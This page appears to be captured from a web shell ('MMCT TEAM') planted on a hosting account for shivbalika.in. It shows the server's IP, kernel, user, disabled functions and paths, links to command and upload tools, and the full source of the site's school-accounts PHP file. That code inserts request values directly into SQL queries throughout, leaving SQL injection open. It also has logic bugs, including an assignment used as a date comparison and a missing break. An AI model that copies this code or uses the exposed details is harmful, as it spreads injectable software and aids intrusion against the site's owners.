MMCT TEAM
Server IP : 2a02:4780:11:1359:0:1d43:a566:2  /  Your IP : 216.73.216.161
Web Server : LiteSpeed
System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u490972518 ( 490972518)
PHP Version : 5.6.40
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u490972518/domains/shivbalika.in/public_html/link/../code/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u490972518/domains/shivbalika.in/public_html/link/../code/classcode.php
<?php
include("../link/databaseconnection.php");
$flag=$_REQUEST['flag'];

switch($flag)
{
	case 1:
	
	$class=$_POST['class'];
	$class1=strtoupper($class);
	$ins="insert into class(class1) values('$class1')";
	if($class!='')
	{
	if(mysqli_query($conn,$ins))
	{
	
		echo "Successfully Add";
	}
	else
	{
		echo "not insert";
	}
	}
	else
	{
		echo"Please Fill Box";
	}
	break;
	
	
	
	
	
	case 2:
	
	$sel="select * from class order by id desc";
	$res=mysqli_query($conn,$sel);
	
	?>
	<div class="table-responsive">
	<table class="table table-stript">
	<tr>
	<th>Sr No.</th><th>Class</th><th>Delete</th>
	</tr>
	<?php 
	$s=1;
	while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
	{
	
	?>
	<tr>
	
	<td><?php echo $s++;?></td><td><?php echo $row['class1'];?></td><td><a href="javascript:;" onclick="deleterow(<?php echo $row['id'];?>)"><span class="glyphicon glyphicon-trash"></span></a></td>
	<?php
	}
	
	?>
	</tr>
	</table>
	</div>
	<?php 
	
	break;
	
	
	case 3:
	
	$rowid=$_POST["rowid"];
	$del="delete from class where id='$rowid'";
	if(mysqli_query($conn,$del))
	{
		echo"Data deleted";
	}
	else
	{
		echo"not delete";
		
	}
	
	
	
	case 4:
	
	$class=$_POST['class'];
	$board=$_POST['board'];
	$subclass1=$_POST['subclass'];
	$subclass=strtoupper($subclass1);
	
	if($class!='' and $subclass!='')
	{
	$ins="insert into subclass(classname,subclass,board) values('$class','$subclass','$board')";
	if(mysqli_query($conn,$ins))
	{
		echo"successfully Add";
	}
	else
	{
		echo"not add";
	}
	}
	else
	{
		echo"Fillup Box";
	}
	break;
	
	
	
	case 5:
	
	$sel="select * from subclass order by subclassid desc";
	$res=mysqli_query($conn,$sel);
	
	?>
	<div class="table-responsive">
	<table class="table table-stript">
	<tr>
	<th>Sr No.</th><th>Board</th><th>Class</th><th>SubClass</th><th>Delete</th>
	</tr>
	<?php 
	$s=1;
	while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
	{
	
	?>
	<tr>
	
	<td><?php echo $s++;?></td><td><?php echo $row['board'];?></td><td><?php echo $row['classname'];?></td>
	<td><?php echo $row['subclass'];?></td><td><a href="javascript:;" onclick="deleterow(<?php echo $row['0'];?>)"><span class="glyphicon glyphicon-trash"></span></a></td>
	
	</tr>
	<?php
	}
	
	?>
	</table>
	</div>
	<?php 
	
	break;
	
	case 6:
	$id=$_POST['rowid'];
	$del=" delete from subclass where subclassid='$id'";
	if(mysqli_query($conn,$del))
		{
			echo"ok";
		}
		else
		{
			echo"not delete";
		}
	
	break;
	case 41:
	
	$product=$_POST['article'];
	$purpose=$_POST['purpose'];
	$amount=$_POST['amount'];
		$session=$_POST['session'];
	date_default_timezone_set('asia/kolkata');
	$date=date('Y-m-d');
	//$subclass=strtoupper($subclass1);
	
	if($product!='' and $purpose!='' and $amount!='')
	{
	$ins="insert into hisab(product,purpose,amount,date,session) values('$product','$purpose','$amount','$date','$session')";
	if(mysqli_query($conn,$ins))
	{
		echo"successfully Add";
	}
	else
	{
		echo"not add";
	}
	}
	else
	{
		echo"Fillup Box";
	}
	break;
	case 411:
	?>
	

	<script>
$(document).ready(function(){
    $('#example').DataTable({
        dom: 'Bfrtip',
        buttons: ['pdf','print','excel']
    });
	
});
</script>


	<div class="table-responsive">
<table id="example" class="display nowrap" cellspacing="0" width="100%" border="1px">
        <thead>
            <tr>
	<th>Sr No.</th><th>Article</th><th>Purpose</th><th>Amount</th><th>Date</th><th>Session</th><th>Action</th>
	</tr>
        </thead>

<tbody>		
  <?php
  
  $sel1="select * from session order by id desc";
	$res1=mysqli_query($conn,$sel1);
	$row1=mysqli_fetch_array($res1,MYSQLI_BOTH);
	$session=$row1['session'];
	$sel="select * from hisab   order by id desc";
	$res=mysqli_query($conn,$sel);
	
	 
	$s=1;
	$am=0;
	while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
	{
		$date1=$row['date'];
		$am=$row['amount']+$am;
	$date=date("d-m-Y",strtotime($date1));
	?>
	<tr>
	
	<td><?php echo $s++;?></td><td><textarea rows="3" cols="30"><?php echo $row['product'];?></textarea></td><td><?php echo $row['purpose'];?></td>
	<td><?php echo $row['amount'];?></td><td><?php echo $date;?></td><td><?php echo $row['session'];?></td><td><a href="javascript:;" onclick="editrow(<?php echo $row['id'];?>)"><span class="glyphicon glyphicon-pencil"></span></a></td>
	
	</tr>
	<?php
	}
	
	?>
	</tbody>
	<tfoot>
            <tr>
	<th>Sr No.</th><th>Article</th><th>Purpose</th><th><?php echo $am;?></th><th>Date</th><th>Action</th>
	</tr>
        </tfoot>
	</table>
	</div>
	<?php 
	
	break;
	
	case 412:
	$eid=$_REQUEST['id'];
	//echo"$eid";
	$sel="select * from  hisab where id='$eid'";
	$res=mysqli_query($conn,$sel);
	$row=mysqli_fetch_array($res,MYSQLI_BOTH);
	//$a=$row['village'];
	//$b=$row['postoffice'];
	//$c=$row['dist'];
	//$d=$a." ".$b." ".$c;
	date_default_timezone_set('asia/kolkata');
	$date=date('Y-m-d');
	?>
	
	<div class="panel-group">
				<div class="panel panel-primary">
				
				
				<div class="panel-body">
				<form class="form-horizontal" id="myform" onsubmit="return updaterow(this)">
				<div class="form-group">
				<input type="hidden" value="<?php echo $row['id'];?>" name="id"/>
				<input type="hidden" value="<?php echo $date;?>" name="date"/>
				<label class="col-sm-3 control-label">Article</label>
				<div class="col-sm-8">
				    <select class="form-control" name='product'>
				      
				     
				         <option <?php if($row['product']=='ELECTRIC'){echo 'ELECTRIC';}?>>ELECTRIC</option>
				        <option <?php if($row['product']=='ENROLLEMENT'){echo 'ENROLLEMENT';}?> >ENROLLEMENT</option>
				      
				    <option <?php if($row['product']=='GENERATOR'){echo 'GENERATOR';}?>>GENERATOR</option>
				     <option <?php if($row['product']=='DIESEL'){echo 'DIESEL';}?>>DIESEL</option>
				      <option <?php if($row['product']=='SCHOOL LOCAL MANAGEMENT'){echo 'SCHOOL LOCAL MANAGEMENT';}?> >SCHOOL LOCAL MANAGEMENT</option>
				       <option <?php if($row['product']=='BANK'){echo 'BANK';}?> >BANK</option>
					     <option <?php if($row['product']=='LUNCH'){echo 'LUNCH';}?>>LUNCH</option>
				    <option <?php if($row['product']=='OTHERS'){echo 'OTHERS';}?>>OTHERS</option>
				   
				    <option <?php if($row['product']=='PETROL'){echo 'PETROL';}?> >PETROL</option>
				    <option <?php if($row['product']=='SALARY'){echo 'SALARY';}?> >SALARY</option>
				    
				    
				   
				    </select>
				    
				    </div>
				</div>
				<br/>
				<div class="form-group">
				<label class="col-sm-3 control-label">Purpose</label>
				<div class="col-sm-8"><input type="text" class="form-control" value="<?php echo $row['purpose'];?>" name="purpose"/></div>
				</div>
				<br/>
				
				
				
				
				
				<br/>
				
				
				
				<div class="form-group">
				<label class="col-sm-3 control-label">Amount</label>
				<div class="col-sm-8"><input type="text" class="form-control" value="<?php echo $row['amount'];?>" name="amount"/></div>
				<br/>
				</div>
				
				
				<center><button class="btn btn-primary">Update</button>
				
				 &emsp;&emsp;&emsp;<button class="btn btn-danger" data-dismiss="modal"> Close</button>
				</center>
				</div>
				</form>
	</div>
	</div>
	
	
	
	<?php
	break;
	case 413:
	$id=$_POST['id'];
	$product=$_POST['product'];
	$amount=$_POST['amount'];
	//$mname=$_POST['mname'];
	//$dob=$_POST['dob'];
	//$class=$_POST['class'];
	//$subject=$_POST['subject'];
	//$add=$_POST['add'];
	$purpose=$_POST['purpose'];
	date_default_timezone_set('asia/kolkata');
	$date=date('Y-m-d');
	
	$sel="select * from  hisab where id='$id'";
	$res=mysqli_query($conn,$sel);
	$row=mysqli_fetch_array($res,MYSQLI_BOTH);
	$date2=$row['date'];
	if($date2='$date')
	{
	    $up="update hisab set product='$product',purpose='$purpose',amount='$amount' where id='$id' ";
	if(mysqli_query($conn,$up))
	{
		
		echo"Update";
	}
	else
	{
		echo"not update";
	}
	}
	else
	{
	    echo 'Only Change in Same Date Please Contact Admin';
	    
	}
	
	
	break;
	case 414:
	?>
	

	<script>
$(document).ready(function(){
    $('#example').DataTable({
        dom: 'Bfrtip',
        buttons: ['pdf','print','excel']
    });
	
});
</script>


	<div class="table-responsive">
<table id="example" class="display nowrap" cellspacing="0" width="100%" border="1px">
        <thead>
            <tr>
	<th>Sr No.</th><th>Article</th><th>Purpose</th><th>Amount</th><th> Date Wise Extra Add</th><th>Date</th><th> </th><th>  </th><th>Date Wise (Balance)</th><th> Date Wise Total Balance</th>
	</tr>
        </thead>

<tbody>		
  <?php
  
  $sel174e="select * from session order by id desc";
	$res174e=mysqli_query($conn,$sel174e);

$row174e=mysqli_fetch_array($res174e,MYSQLI_BOTH);
$session=$row174e['session'];
  $sdate=$_POST['sdate'];
  $edate=$_POST['edate'];
  $session=$_POST['session'];
   $area=$_POST['area'];
  $today=date("Y-m-d");
 // $sesion=$row['session'];
 $n=2021-03-03;
 $new='2024-04-01';
 $sel12179="select  * from  extra_add  where  session='$session' order by id asc ";
$res12179=mysqli_query($conn,$sel12179);

$amount79=0;
while($row12179=mysqli_fetch_array($res12179,MYSQLI_BOTH))
{
	$amount79=$row12179['amount']+$amount79;

		
		
}
 $sum17=0;
 $date1='2024-04-01';
$sel17="select * from  fees_paid  where date>='$date1' and status='' order by id desc ";
$res17=mysqli_query($conn,$sel17);
while($row17=mysqli_fetch_array($res17,MYSQLI_BOTH))
{

	$paid7=$row17['paid'];

	//$sum=$tot+$sum;
	$sum17=$paid7+$sum17;

}
$sum175=0;
$sel175="select * from  fees_paid  where date between '$sdate' and '$edate' and status='' ";
$res175=mysqli_query($conn,$sel175);
while($row175=mysqli_fetch_array($res175,MYSQLI_BOTH))
{



	//$sum=$tot+$sum;
	$sum175=$row175['paid']+$sum175;

}


$sel1217="select  * from  hisab  where session='$session' order by id desc ";
$res1217=mysqli_query($conn,$sel1217);

$amount7=0;
while($row1217=mysqli_fetch_array($res1217,MYSQLI_BOTH))
{
	$amount7=$row1217['amount']+$amount7;

		
		
}

$sel174="select * from session order by id desc limit 1,1 ";
	$res174=mysqli_query($conn,$sel174);

$row174=mysqli_fetch_array($res174,MYSQLI_BOTH);
$s=$row174['session'];

$sel17="select * from old_hisab where  session='$s' ";
	$res17=mysqli_query($conn,$sel17);

$row17=mysqli_fetch_array($res17,MYSQLI_BOTH);
	
		$old_b=$row17['amount'];

	
	


	$sel1="select * from fees_paid where  date>='$date1' and status='' order by id asc ";
	$res1=mysqli_query($conn,$sel1);
	$paidt='0';
	while($row1=mysqli_fetch_array($res1,MYSQLI_BOTH))
	{
		$paid=$row1['paid'];
	$paidt=$paidt+$paid;
	}
	if($area=='')
	{
	      $sel="select * from hisab where  date between '$sdate' and '$edate' and session='$session' order by id asc  ";
	}
	else
	{
	   
	    $sel="select * from hisab where  date between '$sdate' and '$edate' and session='$session' and product='$area' order by id asc  ";
	}
	
	 
	$res=mysqli_query($conn,$sel);
	$s=1;
	$tot='0';
	while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
	{
		$date1=$row['date'];
	$date=date("d-m-Y",strtotime($date1));
	$amounta=$row['amount'];
	$tot=$tot+$amounta;
	
	?>
	<tr>
	
	<td><?php echo $s++;?></td><td><textarea rows="1" cols="30"><?php echo $row['product'];?></textarea></td><td><?php echo $row['purpose'];?></td>
	<td><?php echo $row['amount'];?></td><td>-</td><td><?php echo $date;?></td><td>-</td><td>-</td><td>-</td><td>-</td>
	
	</tr>
	<?php
	}
	$balance=120960+$paidt-$tot;
	?>
	<?php
	 $sel5="select * from extra_add where   session='$session' order by id asc  ";
	$res5=mysqli_query($conn,$sel5);
	
	$tot5='0';
	while($row5=mysqli_fetch_array($res5,MYSQLI_BOTH))
	{
		$date15=$row5['date'];
	$date5=date("d-m-Y",strtotime($date15));
	$amounta5=$row5['amount'];
	$tot5=$tot5+$amounta5;
	}
	?>
	
	
		<?php
	 $sel57="select * from extra_add where  date between '$sdate' and '$edate' and session='$session' ";
	$res57=mysqli_query($conn,$sel57);
	
	$tot57='0';
	while($row57=mysqli_fetch_array($res57,MYSQLI_BOTH))
	{
		$date157=$row57['date'];
	$date57=date("d-m-Y",strtotime($date157));
	$amounta57=$row57['amount'];
	$tot57=$tot57+$amounta57;
	}
	$date_extra=$tot57;
	$date_hisab=$tot;
	$date_paid=$sum175;
	?>
	<tr>
	
	<td><?php echo $s++;?></td><td><textarea rows="1" cols="30"><?php echo $row5['product'];?></textarea></td><td><?php echo $row5['purpose'];?></td><td>-</td>
	<td><?php echo $row5['amount'];?></td><td><?php echo $date5;?></td><td>-</td><td>-</td><td>-</td><td>-</td>
	
	</tr>
	<?php

//	$balance=120960+$paidt-$tot;
	?>
	<tr align="center">
	
	<td style="font-weight:bold;font-size:19px"></td><td></td><td style="font-weight:bold;font-size:19px;color:red">Spend</td><td style="font-weight:bold;font-size:19px;color:red"><?php echo $date_hisab;?>&nbsp;(Rs)</td><td style='font-weight:bold;color:green'><?php echo $date_extra;?>&nbsp;(Rs)</td><td style="font-weight:bold;font-size:19px;color:green"></td><td style="font-weight:bold;font-size:19px;color:green"><?php    $date_paid?>&nbsp;</td><td style="font-weight:bold;font-size:19px;color:green">&nbsp;</td>
	<td style="font-weight:bold;font-size:19px;color:green">&nbsp;<?php echo $date_paid;?> (Rs)</td>	<td style="font-weight:bold;font-size:19px;color:green"><?php echo $date_extra+$date_paid-$date_hisab;?>&nbsp;(Rs)</td>
	
	</tr>
	</tbody>
	</table>
<h2><u> CALCULATION </u><BR/>	
	Old session Bal.= <span style='color:green'><?php echo $old_b;?></span><br/>
		Extra Add Bal. = <span style='color:green'><?php echo $tot5;?></span><br/>
			New session Bal. = <span style='color:green'><?php echo $paidt;?></span><br/>
			Spend. = <span style='color:red'><?php echo $amount7;?></span><br/>
			Total Balance= <span style='color:blue'><?php echo $old_b+$tot5+$paidt-$amount7?> </span> </h2>
	</div>
	<?php 
	
	break;
		case 414414:
		    
		    
		    $sdate1=$_POST['sdate'];
//echo $sdate1;
	$sdate=date("d-m-Y",strtotime($sdate1));
	//echo $sdate;
	$edate1=$_POST['edate'];
	//echo $edate1;
	$edate=date("d-m-Y",strtotime($edate1));
//echo $edate;
	$sum=0;
$sum1=0;
$cons1=0;
$remain1=0;
$sel1="select * from  studentfees  where date between '$sdate1' and '$edate1' order by id asc ";
$res1=mysqli_query($conn,$sel1);
while($row1=mysqli_fetch_array($res1,MYSQLI_BOTH))
{
	$tot=$row1['total'];
	$con=$row1['con'];
	$paid=$row1['paid'];
	$remain12=$row1['remain'];
	//$sum=$tot+$sum;
	$sum1=$paid+$sum1;
	$cons1=$con+$cons1;
}
$new='2024-04-01';
$sel174="select * from session order by id desc limit 1,1 ";
	$res174=mysqli_query($conn,$sel174);

$row174=mysqli_fetch_array($res174,MYSQLI_BOTH);
$s=$row174['session'];

$sel17="select * from old_hisab where  session='$s' ";
	$res17=mysqli_query($conn,$sel17);

$row17=mysqli_fetch_array($res17,MYSQLI_BOTH);
	
		$old_b=$row17['amount'];
$today=date("Y-m-d");
$sum17=0;
$sel17="select * from  studentfees  where date between '$new' and '$today' order by id asc ";
$res17=mysqli_query($conn,$sel17);
while($row17=mysqli_fetch_array($res17,MYSQLI_BOTH))
{

	$paid7=$row17['paid'];

	//$sum=$tot+$sum;
	$sum17=$paid7+$sum17;

}

$sel1217="select  * from  hisab  where  date between '$new' and '$today' order by id asc ";
$res1217=mysqli_query($conn,$sel1217);

$amount7=0;
while($row1217=mysqli_fetch_array($res1217,MYSQLI_BOTH))
{
	$amount7=$row1217['amount']+$amount7;

		
		
}

$sel12179="select  * from  extra_add  where  date between '$new' and '$today' order by id asc ";
$res12179=mysqli_query($conn,$sel12179);

$amount79=0;
while($row12179=mysqli_fetch_array($res12179,MYSQLI_BOTH))
{
	$amount79=$row12179['amount']+$amount79;

		
		
}
//echo $amount7;
		 	?>
	

	<script>
$(document).ready(function(){
    $('#example').DataTable({
        dom: 'Bfrtip',
        buttons: ['pdf','print','excel']
    });
	
});
</script>


	<div class="table-responsive">
<table id="example" class="display nowrap" cellspacing="0" width="100%" border="1px">
        <thead>
            <tr>
            
<tr align="center">
<td><span id="name2">Sr.No.</span></td>

<td><span id="name2">Date</span></td>

<td><span id="name2">Paid</span></td>
<td><span id="name2">Extra Add</span></td>
<td><span id="name2">Spend</span></td>
<td><span id="name2"> Proffit/Loss Date Wise</span></td>

</tr>
        </thead>

<tbody>		
 




</tr><?php 
  
// Declare two dates 
$Date1 = '01-10-2010'; 
$Date2 = '05-10-2010'; 
  
// Declare an empty array 
$array = array(); 
  
// Use strtotime function 
$Variable1 = strtotime($sdate1); 
$Variable2 = strtotime($edate1); 
  
// Use for loop to store dates into array 
// 86400 sec = 24 hrs = 60*60*24 = 1 day 
$tot=0;
$hisab=0;
$spend=0;
$extra=0;
$r=1;

for ($currentDate = $Variable1; $currentDate <= $Variable2;  
                                $currentDate += (86400)) { 
                                      
$Store = date('Y-m-d', $currentDate); 
//$array[] = $Store; 
$date13=$Store;
//echo $date13;
$sel12="select  * from  studentfees  where date = '$date13' ";
$res12=mysqli_query($conn,$sel12);
$tot=0;

while($row12=mysqli_fetch_array($res12,MYSQLI_BOTH))
{
	$paid12=$row12['paid'];
	$con12=$row12['con'];
	//echo $paid12;
		//echo '<br/>';
		$tot=$tot+$paid12;
	
		//echo '<br/>';
		//echo $tot;
		
}
$sel121="select  * from  hisab  where date = '$date13' ";
$res121=mysqli_query($conn,$sel121);

$amount=0;
while($row121=mysqli_fetch_array($res121,MYSQLI_BOTH))
{
	$amount=$row121['amount']+$amount;

		
		
}
$sel1218="select  * from  extra_add  where date = '$date13' ";
$res1218=mysqli_query($conn,$sel1218);

$amount8=0;
while($row1218=mysqli_fetch_array($res1218,MYSQLI_BOTH))
{
	$amount8=$row1218['amount']+$amount8;

		
		
}
$spend=$spend+$amount;
$hisab=$tot+$hisab;
$extra=$amount8+$extra;
?>
		<tr align="center">
<td><span id="name3"><?php echo $r++;?></span></td>
<td><span id="name3"><?php echo $date13;?></span></td>
<td><span id="name3"><?php echo $tot;?></span></td>
<td><span id="name3"><?php echo $amount8;?></span></td>
<td><span id="name3"><?php echo $amount;?></span></td>

<td><span id="name3"><?php echo $tot+$amount8-$amount;?></span></td>

		
	</tr>	
		<?php
} 
  
// Display the dates in array format 
//print_r($array); 
?> 
<tr align="center">
<td><span id="name3" STYLE="COLOR:GREEN;font-weight:bold">TOTAL</span></td>
<td><span id="name3" STYLE="COLOR:GREEN;font-weight:bold">Date</span></td>
<td><span id="name3"STYLE="COLOR:red;font-weight:bold"><?php echo $hisab;?></span></td>
<td><span id="name3"STYLE="COLOR:blue;font-weight:bold"><?php echo $extra;?></span></td>
<td><span id="name3"STYLE="COLOR:blue;font-weight:bold"><?php echo $spend;?></span></td>
<td><span style='color:green;font-weight:bold'>  ||| </span>  Old Session Balance (<?php echo $old_b?>)+ Extra Add(<?php echo $amount79;?>) + All Date(<?php echo $sum17 ;?>) - All Spend(<?php echo $amount7;?>)=<span style='color:blue;font-weight:bold'> <?php echo $old_b+$amount79+$sum17-$amount7;?></span></td>

		
	</tr>
	</tbody>
	</table>
	</div>
	<?php 
	
	break;
		case 4144:
	?>
	

	<script>
$(document).ready(function(){
    $('#example').DataTable({
        dom: 'Bfrtip',
        buttons: ['pdf','print','excel']
    });
	
});
</script>


	<div class="table-responsive">
<table id="example" class="display nowrap" cellspacing="0" width="100%" border="1px">
        <thead>
            <tr>
	<th>Sr No.</th><th>Article</th><th>Purpose</th><th>Amount</th><th>Extra Add</th><th>Date</th><th> Total Income</th><th>  Old Session (Balance)</th><th> New Session (Balance)</th><th>  Total Balance</th>
	</tr>
        </thead>

<tbody>		
  <?php
  $sdate=$_POST['sdate'];
  $article=$_POST['article'];
  $edate=$_POST['edate'];
  $today=date("Y-m-d");
 // $sesion=$row['session'];
  $new='2024-04-01';
 $sel12179="select  * from  extra_add  where  date between '$new' and '$today' order by id asc ";
$res12179=mysqli_query($conn,$sel12179);

$amount79=0;
while($row12179=mysqli_fetch_array($res12179,MYSQLI_BOTH))
{
	$amount79=$row12179['amount']+$amount79;

		
		
}
 $sum17=0;
$sel17="select * from  studentfees  where date between '$new' and '$today' order by id asc ";
$res17=mysqli_query($conn,$sel17);
while($row17=mysqli_fetch_array($res17,MYSQLI_BOTH))
{

	$paid7=$row17['paid'];

	//$sum=$tot+$sum;
	$sum17=$paid7+$sum17;

}

$sel1217="select  * from  hisab  where  date between '$new' and '$today' order by id asc ";
$res1217=mysqli_query($conn,$sel1217);

$amount7=0;
while($row1217=mysqli_fetch_array($res1217,MYSQLI_BOTH))
{
	$amount7=$row1217['amount']+$amount7;

		
		
}


$sel174="select * from session order by id desc limit 1,1 ";
	$res174=mysqli_query($conn,$sel174);

$row174=mysqli_fetch_array($res174,MYSQLI_BOTH);
$s=$row174['session'];

$sel17="select * from old_hisab where  session='$s' ";
	$res17=mysqli_query($conn,$sel17);

$row17=mysqli_fetch_array($res17,MYSQLI_BOTH);
	
		$old_b=$row17['amount'];
		

	$sel1="select * from studentfees where  date between '$sdate' and '$edate' order by id asc ";
	$res1=mysqli_query($conn,$sel1);
	$paidt='0';
	while($row1=mysqli_fetch_array($res1,MYSQLI_BOTH))
	{
		$paid=$row1['paid'];
	$paidt=$paidt+$paid;
	}
	
	 $sel="select * from hisab where  date between '$sdate' and '$edate' and product='$article' order by id asc  ";
	$res=mysqli_query($conn,$sel);
	$s=1;
	$tot='0';
	while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
	{
		$date1=$row['date'];
	$date=date("d-m-Y",strtotime($date1));
	$amounta=$row['amount'];
	$tot=$tot+$amounta;
	
	?>
	<tr>
	
	<td><?php echo $s++;?></td><td><textarea rows="1" cols="30"><?php echo $row['product'];?></textarea></td><td><?php echo $row['purpose'];?></td>
	<td><?php echo $row['amount'];?></td><td>-</td><td><?php echo $date;?></td><td>-</td><td>-</td><td>-</td><td>-</td>
	
	</tr>
	<?php
	}
	$balance=120960+$paidt-$tot;
	?>

	?>
		<?php
	 $sel5="select * from extra_add where  date between '$sdate' and '$edate' order by id asc  ";
	$res5=mysqli_query($conn,$sel5);
	
	$tot5='0';
	while($row5=mysqli_fetch_array($res5,MYSQLI_BOTH))
	{
		$date15=$row5['date'];
	$date5=date("d-m-Y",strtotime($date15));
	$amounta5=$row5['amount'];
	$tot5=$tot5+$amounta5;
	}
	?>
	<tr align="center">
	
	<td style="font-weight:bold;font-size:19px"></td><td></td><td style="font-weight:bold;font-size:19px;color:red">Spend</td><td style="font-weight:bold;font-size:19px;color:red"><?php echo $tot;?>&nbsp;(Rs)</td><td style='font-weight:bold;color:green'><?php echo $tot5;?>&nbsp;(Rs)</td><td style="font-weight:bold;font-size:19px;color:green"></td><td style="font-weight:bold;font-size:19px;color:green"><?php echo $paidt ;?>&nbsp;(Rs)</td><td style="font-weight:bold;font-size:19px;color:green"><?php echo $old_b;?>&nbsp;(Rs)</td>
	<td style="font-weight:bold;font-size:19px;color:green"><?php echo $amount79+$sum17-$amount7;?>&nbsp;(Rs)</td>	<td style="font-weight:bold;font-size:19px;color:green"><?php echo $old_b+$amount79+$sum17-$amount7;?>&nbsp;(Rs)</td>
	
	</tr>
	</tbody>
	</table>
	</div>
	<?php 
	
	break;
		case 4151:
	
	$product=$_POST['article'];
	$purpose=$_POST['purpose'];
	$amount=$_POST['amount'];
	$session=$_POST['session'];
		$date=$_POST['date'];
	date_default_timezone_set('asia/kolkata');
//	$date=date('Y-m-d');
	//$subclass=strtoupper($subclass1);
	
	if($product!='' and $purpose!='' and $amount!='')
	{
	$ins="insert into extra_add(product,purpose,amount,date,session) values('$product','$purpose','$amount','$date','$session')";
	if(mysqli_query($conn,$ins))
	{
		echo"successfully Add";
	}
	else
	{
		echo"not add";
	}
	}
	else
	{
		echo"Fillup Box";
	}
	break;
	
	case 41151:
	?>
	

	<script>
$(document).ready(function(){
    $('#example').DataTable({
        dom: 'Bfrtip',
        buttons: ['pdf','print','excel']
    });
	
});
</script>


	<div class="table-responsive">
<table id="example" class="display nowrap" cellspacing="0" width="100%" border="1px">
        <thead>
            <tr>
	<th>Sr No.</th><th>Article</th><th>Purpose</th><th>Amount</th><th>Date</th><th>Session</th><th>Action</th>
	</tr>
        </thead>

<tbody>		
  <?php
	$sel="select * from extra_add order by id desc";
	$res=mysqli_query($conn,$sel);
	
	 
	$s=1;
	$am=0;
	while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
	{
		$date1=$row['date'];
		$am=$row['amount']+$am;
	$date=date("d-m-Y",strtotime($date1));
	?>
	<tr>
	
	<td><?php echo $s++;?></td><td><textarea rows="3" cols="30"><?php echo $row['product'];?></textarea></td><td><?php echo $row['purpose'];?></td>
	<td><?php echo $row['amount'];?></td><td><?php echo $date;?></td><td><?php echo $row['session'];?></td><td><a href="javascript:;" onclick="editrow(<?php echo $row['id'];?>)"><span class="glyphicon glyphicon-pencil"></span></a></td>
	
	</tr>
	<?php
	}
	
	?>
	</tbody>
	<tfoot>
            <tr>
	<th>Sr No.</th><th>Article</th><th>Purpose</th><th><?php echo $am;?></th><th>Date</th><th>Action</th>
	</tr>
        </tfoot>
	</table>
	</div>
	<?php 
	
	break;
	
	case 41251:
	$eid=$_REQUEST['id'];
	//echo"$eid";
	$sel="select * from  extra_add where id='$eid'";
	$res=mysqli_query($conn,$sel);
	$row=mysqli_fetch_array($res,MYSQLI_BOTH);
	//$a=$row['village'];
	//$b=$row['postoffice'];
	//$c=$row['dist'];
	//$d=$a." ".$b." ".$c;
	date_default_timezone_set('asia/kolkata');
	$date=date('Y-m-d');
	?>
	
	<div class="panel-group">
				<div class="panel panel-primary">
				
				
				<div class="panel-body">
				<form class="form-horizontal" id="myform" onsubmit="return updaterow(this)">
				<div class="form-group">
				<input type="hidden" value="<?php echo $row['id'];?>" name="id"/>
			
				<label class="col-sm-3 control-label">Article</label>
				<div class="col-sm-8"><input type="text" class="form-control" value="<?php echo $row['product'];?>" name="product"/></div>
				</div>
				<br/>
				<div class="form-group">
				<label class="col-sm-3 control-label">Purpose</label>
				<div class="col-sm-8"><input type="text" class="form-control" value="<?php echo $row['purpose'];?>" name="purpose"/></div>
				</div>
				<br/>
				
				<div class="form-group">
				<label class="col-sm-3 control-label">Date</label>
				<div class="col-sm-8"><input type="date" class="form-control" value="<?php echo $date;?>"  name="date"/></div>
				</div>
				<br/>
				
				
				
				<br/>
				
				
				
				<div class="form-group">
				<label class="col-sm-3 control-label">Amount</label>
				<div class="col-sm-8"><input type="text" class="form-control" value="<?php echo $row['amount'];?>" name="amount"/></div>
				<br/>
				</div>
				
				
				<center><button class="btn btn-primary">Update</button>
				
				 &emsp;&emsp;&emsp;<button class="btn btn-danger" data-dismiss="modal"> Close</button>
				</center>
				</div>
				</form>
	</div>
	</div>
	
	
	
	<?php
	break;
	case 41351:
	$id=$_POST['id'];
	$product=$_POST['product'];
	$amount=$_POST['amount'];
	//$mname=$_POST['mname'];
	//$dob=$_POST['dob'];
	//$class=$_POST['class'];
	//$subject=$_POST['subject'];
	//$add=$_POST['add'];
	$purpose=$_POST['purpose'];
	date_default_timezone_set('asia/kolkata');
	 $date=date('Y-m-d');
	
	$sel="select * from  extra_add where id='$id'";
	$res=mysqli_query($conn,$sel);
	$row=mysqli_fetch_array($res,MYSQLI_BOTH);
	 $date2=$row['date'];
	
	    $up="update extra_add set product='$product',purpose='$purpose',amount='$amount' where id='$id' ";
	if(mysqli_query($conn,$up))
	{
		
		echo"Update";
	}
	else
	{
		echo"not update";
	}
	
	
	
	break;
		case 41112:
	?>
	

	<script>
$(document).ready(function(){
    $('#example').DataTable({
        dom: 'Bfrtip',
        buttons: ['pdf','print','excel']
    });
	
});
</script>


	<div class="table-responsive">
<table id="example" class="display nowrap" cellspacing="0" width="100%" border="1px">
        <thead>
            <tr>
	<th>Sr No.</th><th>Article</th><th>Purpose</th><th>Amount</th><th>Date</th><th>Action</th>
	</tr>
        </thead>

<tbody>		
  <?php
	$sel="select * from hisab order by id desc";
	$res=mysqli_query($conn,$sel);
	
	 
	$s=1;
	$am=0;
	while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
	{
		$date1=$row['date'];
		$am=$row['amount']+$am;
	$date=date("d-m-Y",strtotime($date1));
	?>
	<tr>
	
	<td><?php echo $s++;?></td><td><textarea rows="3" cols="30"><?php echo $row['product'];?></textarea></td><td><?php echo $row['purpose'];?></td>
	<td><?php echo $row['amount'];?></td><td><?php echo $date;?></td><td><a href="javascript:;" onclick="editrow(<?php echo $row['id'];?>)"><span class="glyphicon glyphicon-pencil"></span></a>&emsp;<a href="javascript:;" onclick="deleterow(<?php echo $row['id'];?>)"><span class="glyphicon glyphicon-trash"></span></a></td>
	
	</tr>
	<?php
	}
	
	?>
	</tbody>
	<tfoot>
            <tr>
	<th>Sr No.</th><th>Article</th><th>Purpose</th><th><?php echo $am;?></th><th>Date</th><th>Action</th>
	</tr>
        </tfoot>
	</table>
